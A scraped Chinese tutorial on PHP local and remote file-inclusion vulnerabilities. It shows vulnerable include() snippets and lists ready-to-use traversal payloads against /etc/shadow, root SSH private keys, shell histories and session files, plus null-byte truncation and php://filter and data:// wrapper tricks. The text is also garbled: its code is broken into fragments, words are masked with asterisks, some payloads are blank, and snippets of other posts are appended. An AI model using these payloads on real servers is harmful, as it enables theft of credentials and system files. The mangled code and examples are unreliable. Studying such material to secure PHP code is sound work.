0x00 前言
php檔案包含漏洞的產生原因是在通過php的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的**注入。最常見的就屬於本地檔案包含(local file inclusion)漏洞了。
我們來看下面一段index.php**:
純文字檢視
複製**
1
2
3
4
5
6
#!php
if
(
$_get['func']
)
else
程式的本意可能是當提交url為時,呼叫add.php裡面的樣式內容和功能。直接訪問則會包含預設的default.php
那麼問題來了,如果我們提交
如果被包含的檔案中無有效的php**,則會直接把檔案內容輸出。
在接下來的內容中會以**樣本作為例子,來給大家介紹各種奇葩猥瑣的利用姿勢。
0x01 普通本地檔案包含
純文字檢視
複製**
1
2
#!php
<
?php include
(
"inc/"
. $_get['
file
']
)
; ?
>
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中這兩個檔案儲存著所有檔案的路徑,需要root許可權)
(更多→
?file=../attachment/media/***.file
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
(session檔案一般在/tmp目錄下,格式為sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取配置檔案。在某些特定的情況下如果你能夠控制session的值,也許你能夠獲得乙個shell)
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (檔案識別符號)
/proc/mounts
/proc/config.gz
參見 ... 39965145eea984284el
0x02 有限制的本地檔案包含
純文字檢視
複製**
1
2
#!php
<
?php include
(
"inc/"
. $_get['
file
'] .
".htm"
)
; ?
>
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off,php小於5.3.4有效)
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix檔案系統,比如freebsd,openbsd,netbsd,solaris)
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小於5.2.8(?)可以成功,linux需要檔名長於4096,windows需要長於256)
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256)
0x03 普通遠端檔案包含
純文字檢視
複製**
(需要allow_url_fopen=on並且 allow_url_include=on)
?file=php://input
?file=php://filter/convert.base64-encode/resource=index.php
(同上)
?file=data://text/plain;base64,ssbsb3zlifbiuao=
(需要allow_url_include=on)
?file=
(需要allow_url_fopen=on,allow_url_include=on並且防火牆或者白名單不允許訪問外網時,先在同站點找乙個xss漏洞,包含這個頁面,就可以注入惡意**了。條件非常極端和特殊- -)
0x04 有限制的遠端檔案包含
純文字檢視
複製**
1
2
#!php
<
?php include
(
$_get['
file
'] .
".htm"
)
; ?
>
(需要allow_url_fopen=on並且allow_url_include=on)
0x05 延伸
其實在前面也說了,這些漏洞產生原因是php函式在引入檔案時,傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案。實際上我們操作檔案的函式不只是include()乙個,上面提到的一些截斷的方法同樣可以適用於以下函式:
PHP檔案包含漏洞總結
php檔案包含漏洞的產生原因是在通過php的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的 注入。最常見的就屬於本地檔案包含 local file inclusion 漏洞了。我們來看下面一段index.php 1 2 3 4 5 if...
PHP檔案包含漏洞總結
php檔案包含漏洞的產生原因是在通過php的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的 注入。最常見的就屬於本地檔案包含 local file inclusion 漏洞了。我們來看下面一段index.php if get func ...
PHP檔案包含漏洞
php的檔案包含可以直接執行包含檔案的 包含的檔案格式是不受限制的。檔案包含分為本地文字包含 local file include 和遠端檔案包含 remote file include 檔案包含函式有 include include once require 和require once 它們之間的...